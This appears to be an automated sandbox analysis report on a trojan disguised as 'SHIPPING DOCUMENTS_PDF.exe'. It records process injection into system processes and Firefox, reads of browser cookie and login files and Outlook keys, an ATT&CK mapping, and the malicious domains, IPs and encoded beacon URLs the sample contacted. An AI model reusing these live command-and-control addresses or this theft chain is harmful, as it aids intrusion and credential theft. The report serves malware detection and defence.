Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\waitfor.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: NULL target: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: NULL target: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\waitfor.exe

Thread register set: target process: 5300

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\waitfor.exe

Thread APC queued: target process: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 257008

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BA87B1 LogonUserW,

0_2_00BA87B1

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B53B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00B53B3A

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B548D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00B548D7

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BB4C27 mouse_event,

0_2_00BB4C27

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe"	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	Process created: C:\Windows\SysWOW64\waitfor.exe "C:\Windows\SysWOW64\waitfor.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BA7CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00BA7CAF

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BA874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00BA874B

Source: SHIPPING DOCUMENTS_PDF.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: pNkvbgLNQpIoyz.exe, 00000003.00000000.2170603809.0000000001A21000.00000002.00000001.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000003.00000002.4472998871.0000000001A21000.00000002.00000001.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000000.2312740289.0000000001191000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: SHIPPING DOCUMENTS_PDF.exe, pNkvbgLNQpIoyz.exe, 00000003.00000000.2170603809.0000000001A21000.00000002.00000001.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000003.00000002.4472998871.0000000001A21000.00000002.00000001.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000000.2312740289.0000000001191000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: pNkvbgLNQpIoyz.exe, 00000003.00000000.2170603809.0000000001A21000.00000002.00000001.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000003.00000002.4472998871.0000000001A21000.00000002.00000001.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000000.2312740289.0000000001191000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: pNkvbgLNQpIoyz.exe, 00000003.00000000.2170603809.0000000001A21000.00000002.00000001.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000003.00000002.4472998871.0000000001A21000.00000002.00000001.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000000.2312740289.0000000001191000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B7862B cpuid

0_2_00B7862B

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B84E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00B84E87

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B91E06 GetUserNameW,

0_2_00B91E06

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B83F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00B83F3A

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B549A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00B549A0

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.4b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4473308327.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4473351797.0000000004910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4472444044.0000000002C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2248280939.00000000004B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2249418016.0000000003D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2248660468.0000000002970000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4473260603.0000000003AB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\waitfor.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\waitfor.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: SHIPPING DOCUMENTS_PDF.exe	Binary or memory string: WIN_81
Source: SHIPPING DOCUMENTS_PDF.exe	Binary or memory string: WIN_XP
Source: SHIPPING DOCUMENTS_PDF.exe	Binary or memory string: WIN_XPe
Source: SHIPPING DOCUMENTS_PDF.exe	Binary or memory string: WIN_VISTA
Source: SHIPPING DOCUMENTS_PDF.exe	Binary or memory string: WIN_7
Source: SHIPPING DOCUMENTS_PDF.exe	Binary or memory string: WIN_8
Source: SHIPPING DOCUMENTS_PDF.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.4b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4473308327.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4473351797.0000000004910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4472444044.0000000002C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2248280939.00000000004B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2249418016.0000000003D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2248660468.0000000002970000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4473260603.0000000003AB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BC6283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00BC6283
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BC6747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00BC6747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SHIPPING DOCUMENTS_PDF.exe	53%	ReversingLabs	Win32.Trojan.AZORult
SHIPPING DOCUMENTS_PDF.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.070001813.xyz/gn0y/	0%	Avira URL Cloud	safe
http://www.17jkgl.com/9lgl/?LDVlCz=NTK3NLhlAEJIOtoeBFtljOkEhfYZVbBGiOzAI1f+R144iBEE4BOnuC3DqsUysY3FH9LbQrV9xfPYm9YM/jyzxs8eKdKq7NnxOPLJXW8Qu/cpUMw46FhSxTz+BHey1p9/Wg==&NdLhG=cLCtFnqPUvutTbuP	0%	Avira URL Cloud	safe
https://answers.netlify.com/t/support-guide-i-ve-deployed-my-site-but-i-still-see-page-not-found/125	0%	Avira URL Cloud	safe
http://www.17jkgl.com/9lgl/	0%	Avira URL Cloud	safe
http://www.walkecode.top/qei1/	0%	Avira URL Cloud	safe
http://www.thezensive.work/laeb/?LDVlCz=R1QkcJ3G5DA9kU07Q4bHZGXwpE7poG4obEoFTYXYr0KTY8cjuufgj2Wfg7CEtb/if9/3otTPHXcvO0KabB4WT9d0qR/eTQNYs+qdxysYlPDjIZ08l2KjBlYrb7eSynDgaw==&NdLhG=cLCtFnqPUvutTbuP	0%	Avira URL Cloud	safe
http://www.rwse6wjx.sbs/n0se/	0%	Avira URL Cloud	safe
http://www.growbamboo.xyz/1h7d/	0%	Avira URL Cloud	safe
http://www.walkecode.top/qei1/?LDVlCz=nNC+GBX2ggWuM05tEEqRTuHIkAvcf+dXy/bvByniPoLRj52NglzWV1Nft7BNtL9++4tRfUwg9XmNi4A2kp9kOCOyWvDUT5wtJii7I2tTBBgakefdRMv39WDJ4M987EpnCg==&NdLhG=cLCtFnqPUvutTbuP	0%	Avira URL Cloud	safe
http://www.thezensive.work/laeb/	0%	Avira URL Cloud	safe
http://www.zrichiod-riech.sbs/26nq/	0%	Avira URL Cloud	safe
http://www.primespot.live/icu6/?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=762QZ2SV6NpjcpWEPp/HDXxWZXZX1W4w6TtwEwMqgABTEXEh+wW122QWjov6SciVl+aW6WWJfJ+5Cw+tTwbMJ19RlEhii/WIAwuvAuC5wag6L1em5+IXdi875fnKjGjeWw==	0%	Avira URL Cloud	safe
http://www.ciemanr.quest/gejp/	0%	Avira URL Cloud	safe
https://www.hisako.shop/o4tj/?LDVlCz=49GfoMoMEgfXZP1YCD85Y4F6kcmzgiifjOVZJgmdC9sULpLZnSwzXyHACQgjJ7s	0%	Avira URL Cloud	safe
http://www.zrichiod-riech.sbs	0%	Avira URL Cloud	safe
http://www.ciemanr.quest/gejp/?LDVlCz=B8lENIMSkdQf4FGQc5K+k257k877TXD8FgVAfBzrbl9XXLWxyw5ahRnSZIhzPxA1TMan6vpZ6mPmpcnGRYODwaH5MOJowBwrmH/nBLcALJg/EQzrJ0QQeK+YBPbGWQ4zHw==&NdLhG=cLCtFnqPUvutTbuP	0%	Avira URL Cloud	safe
http://www.hisako.shop/o4tj/	0%	Avira URL Cloud	safe
http://www.zrichiod-riech.sbs/26nq/?LDVlCz=03R0/PY94GJRzPoOKSenb2h5QS/Kl50E/qK0YcgrJ8wpZCLSP+GtGIEwrkK3Oa2ONw/TguZq9BdWMDmUOrZ+COkHC5rjPuI42FsUNzu6Vv93haoOa+yyAoKItnrc6cGBtQ==&NdLhG=cLCtFnqPUvutTbuP	0%	Avira URL Cloud	safe
http://www.activateya.life/f95q/	0%	Avira URL Cloud	safe
http://www.070001813.xyz/gn0y/?LDVlCz=deG7RjeXnjjKJ6Ot/ZvT1ZCOdrvHxkgph9CMZ5BhYMmF8u0wO9qMaDcK53O3JwyOf3l+Oc7MzAVt2qPkHXgf7ZhvCL0D4R10rxSbaYIqOAV7xlWd89x6BKiu35RrP0Id3g==&NdLhG=cLCtFnqPUvutTbuP	0%	Avira URL Cloud	safe
http://www.primespot.live/icu6/	0%	Avira URL Cloud	safe
http://www.hisako.shop/o4tj/?LDVlCz=49GfoMoMEgfXZP1YCD85Y4F6kcmzgiifjOVZJgmdC9sULpLZnSwzXyHACQgjJ7sjiwZWkJjUpQH/sr9gZIVnDBJgsPBR+fKmpaKAjd6wyxi+eq8Hgh+Droj+Yb9QbnJwQg==&NdLhG=cLCtFnqPUvutTbuP	0%	Avira URL Cloud	safe
http://www.growbamboo.xyz/1h7d/?LDVlCz=GhVUl+BMvYJ5ZB/G+p82cySXkvn+9vYw5d6SxNhFTeZQzODCqlJRcn8j1xBkKA1XTq1Cn2kO8HKqHDF15Seo3gBfn1d442lRHkqyo3MG/ycD+W3sgPB+1QYdeAS4c5YMDQ==&NdLhG=cLCtFnqPUvutTbuP	0%	Avira URL Cloud	safe
http://www.rwse6wjx.sbs/n0se/?LDVlCz=hkrsNdm9A7NEs6AELC9hc5Biy4ux3a/2UN9Ti/zPtL1d4UFJsQdYSGmB1x8mN1/no5/doAmWeXNISuQ7Z6M7ARUekuecQYjdGGqJoetNg5rktHF3zD1BwWzApk9VpjBEpg==&NdLhG=cLCtFnqPUvutTbuP	0%	Avira URL Cloud	safe
http://www.activateya.life/f95q/?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=kbZ+3TVQWfE7KiBcybfm9WvlwV1TJfIMHZM6kD8OpyCP9Gh7sWOPFpouLIgiGz3sUBqRfaXNkxnyQnhTpFi/D08FMGsEDjNddsm/ASVO0JLXKussNUmxA8HGD8mS8NlSug==	0%	Avira URL Cloud	safe
http://www.emirates-visa.net/5cm4/?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=ZOi5UH6lCHBhnBF9yu7lTl97V2po4KHEvqmaFY3uiUnnM3Kevyv9Tk9tf7brSgBHOaIF9h93DunAghZY9lTBZL9WpirrmBEOY4nZmUaXlywW6LOtEGR1afh1jX/LxafgQA==	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.zrichiod-riech.sbs	172.67.176.240	true	true	unknown
www.wtsshnm.top	45.41.80.144	true	true	unknown
emirates-visa.net	3.33.130.190	true	true	unknown
activateya.life	84.32.84.32	true	true	unknown
www.17jkgl.com	38.6.78.235	true	true	unknown
thezensive.netlify.app	3.125.36.175	true	true	unknown
rk.jingdong.skin	150.109.11.247	true	true	unknown
www.070001813.xyz	161.97.142.144	true	true	unknown
www.primespot.live	209.74.79.42	true	true	unknown
b1-3-r111.kunlundns.top	101.32.205.61	true	true	unknown
www.walkecode.top	124.71.162.21	true	true	unknown
dns.ladipage.com	18.139.62.226	true	false	high
banajibazar.xyz	173.208.249.155	true	true	unknown
www.rwse6wjx.sbs	unknown	unknown	false	unknown
www.activateya.life	unknown	unknown	false	unknown
www.thezensive.work	unknown	unknown	false	unknown
www.ciemanr.quest	unknown	unknown	false	unknown
www.emirates-visa.net	unknown	unknown	false	unknown
www.growbamboo.xyz	unknown	unknown	true	unknown
www.hisako.shop	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.17jkgl.com/9lgl/?LDVlCz=NTK3NLhlAEJIOtoeBFtljOkEhfYZVbBGiOzAI1f+R144iBEE4BOnuC3DqsUysY3FH9LbQrV9xfPYm9YM/jyzxs8eKdKq7NnxOPLJXW8Qu/cpUMw46FhSxTz+BHey1p9/Wg==&NdLhG=cLCtFnqPUvutTbuP	true	Avira URL Cloud: safe	unknown
http://www.thezensive.work/laeb/	true	Avira URL Cloud: safe	unknown
http://www.17jkgl.com/9lgl/	true	Avira URL Cloud: safe	unknown
http://www.growbamboo.xyz/1h7d/	true	Avira URL Cloud: safe	unknown
http://www.walkecode.top/qei1/	true	Avira URL Cloud: safe	unknown
http://www.thezensive.work/laeb/?LDVlCz=R1QkcJ3G5DA9kU07Q4bHZGXwpE7poG4obEoFTYXYr0KTY8cjuufgj2Wfg7CEtb/if9/3otTPHXcvO0KabB4WT9d0qR/eTQNYs+qdxysYlPDjIZ08l2KjBlYrb7eSynDgaw==&NdLhG=cLCtFnqPUvutTbuP	true	Avira URL Cloud: safe	unknown
http://www.walkecode.top/qei1/?LDVlCz=nNC+GBX2ggWuM05tEEqRTuHIkAvcf+dXy/bvByniPoLRj52NglzWV1Nft7BNtL9++4tRfUwg9XmNi4A2kp9kOCOyWvDUT5wtJii7I2tTBBgakefdRMv39WDJ4M987EpnCg==&NdLhG=cLCtFnqPUvutTbuP	true	Avira URL Cloud: safe	unknown
http://www.070001813.xyz/gn0y/	true	Avira URL Cloud: safe	unknown
http://www.rwse6wjx.sbs/n0se/	true	Avira URL Cloud: safe	unknown
http://www.zrichiod-riech.sbs/26nq/	true	Avira URL Cloud: safe	unknown
http://www.ciemanr.quest/gejp/?LDVlCz=B8lENIMSkdQf4FGQc5K+k257k877TXD8FgVAfBzrbl9XXLWxyw5ahRnSZIhzPxA1TMan6vpZ6mPmpcnGRYODwaH5MOJowBwrmH/nBLcALJg/EQzrJ0QQeK+YBPbGWQ4zHw==&NdLhG=cLCtFnqPUvutTbuP	true	Avira URL Cloud: safe	unknown
http://www.primespot.live/icu6/?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=762QZ2SV6NpjcpWEPp/HDXxWZXZX1W4w6TtwEwMqgABTEXEh+wW122QWjov6SciVl+aW6WWJfJ+5Cw+tTwbMJ19RlEhii/WIAwuvAuC5wag6L1em5+IXdi875fnKjGjeWw==	true	Avira URL Cloud: safe	unknown
http://www.hisako.shop/o4tj/	true	Avira URL Cloud: safe	unknown
http://www.070001813.xyz/gn0y/?LDVlCz=deG7RjeXnjjKJ6Ot/ZvT1ZCOdrvHxkgph9CMZ5BhYMmF8u0wO9qMaDcK53O3JwyOf3l+Oc7MzAVt2qPkHXgf7ZhvCL0D4R10rxSbaYIqOAV7xlWd89x6BKiu35RrP0Id3g==&NdLhG=cLCtFnqPUvutTbuP	true	Avira URL Cloud: safe	unknown
http://www.activateya.life/f95q/	true	Avira URL Cloud: safe	unknown
http://www.ciemanr.quest/gejp/	true	Avira URL Cloud: safe	unknown
